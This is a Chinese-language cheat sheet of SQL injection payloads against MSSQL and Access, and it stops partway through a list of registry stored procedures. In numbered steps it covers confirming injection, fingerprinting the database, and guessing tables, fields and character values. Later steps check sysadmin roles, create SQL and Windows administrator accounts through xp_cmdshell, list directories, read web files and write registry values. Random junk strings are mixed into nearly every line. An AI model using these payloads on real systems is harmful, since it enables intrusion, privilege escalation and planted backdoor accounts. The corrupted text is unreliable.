1.判断是否有注入;and 1=1 ;and 1=2 3J2j5N:g
2.初步判断是否是mssql ;and user>0 88)F-St
t,*hxzD"
3.注入参数是字符'and [查询条件] and ''=' !+;'kI2
p nS{W
\Q
4.搜索时没过滤参数的'and [查询条件] and '%25'=' uY,(3x
;T Af[[P
5.判断数据库系统 VpDNp
(2
B?qLXRv
;and (select count(*) from sysobjects)>0 mssql $YM>HZe-
GZ.Fq
;and (select count(*) from msysobjects)>0 access U*.Wx0QM
c:SA#.
6R%Ra
RJ ,a}w[9
6.猜数据库 ;and (select Count(*) from [数据库名])>0 jt?937{
pXfg{2
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 2qY`*Y.2
,\y)k}0lH
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 x
\.qzi
6]=$c<.&
9.(1)猜字段的ascii值(access) X~DI d
r sf +dC
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 STDT]3.
@z8,XW
}
(2)猜字段的ascii值(mssql) S\"/=|\
5]/i[T_
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 }H[v!l@
UN7>c0B
10.测试权限结构(mssql) "XWrd[Df
orB8q((
;(cqaB
,&Iw5E[
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- l.ri]e
|[ymNG
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- *_
2db
D<=:9
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- nE!h&}(
(nWi9(}J
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- A.aUWh
E2 M|b
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- -nbo[K
86c@Kk7z
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 8+ P)V4}
>z'kCv
;and 1=(select IS_MEMBER('db_owner'));-- [whX),3>
,/O,j
SRk
W7k\j&x
Yx4TUA$c'
11.添加mssql和系统的帐户 J?d&+mt
o`hVI*D
;exec master.dbo.sp_addlogin username;-- H1`}3}"
;exec master.dbo.sp_password null,username,password;-- Nf.6:=
r=Up-(j
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- [<;4$}f\
&F4khga`^:
;exec master.dbo.xp_cmdshell 'net user username password _^+z2m+~N
,G, '#]
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- >syQDB
AV"fOK;#A
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Tx)X\&ij&
Bvke@|]kW
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- o"5Bg%H
7,.Hj&'B
%d..L-`]ET
N*~G ]
12.(1)遍历目录 xab1`~%K
8'J"+TsOW
;create table dirs(paths varchar(100), id int) ;w";s$
Wk w.z
;insert dirs exec master.dbo.xp_dirtree 'c:\' n'a=@/
JK:i-
;and (select top 1 paths from dirs)>0 Lqy]bnY
?EF[OyE
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Gs]m; "o|
t.|b285e
M.|O+K z
>Qg`Us#y
(2)遍历目录 0~{jgN~
p^PAbCP'|3
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- E0QrByr_
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Vg9nb
A?[06R5E#
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 "H I&dC
k2{*WF
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4DaLt&1
ST'M<G%4E
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 'J(rIH3U
O ;,BzA-n
:%ms6j/B&V
Sx{vZS3
13.mssql中的存储过程 J8Bz|.@Q
L{_Q%!h3]
xp_regenumvalues 注册表根键, 子键 _7df(+.{<A
Tjba@^T
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 7=yV8.cD
Zd$a}~4~
xp_regread 根键,子键,键值名 ( <~
A2 'W
;exec xp_regread +[386
G&qO{" Js
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 )`;Q]?D
NN(ZH73
xp_regwrite 根键,子键, 值名, 值类型, 值 [-}LEH1[p
XV)<Oav s
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ;MH((M/AN
}6zo1"
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 \@IEqm6
f;os\8JdM
xp_regdeletevalue 根键,子键,值名 FvX<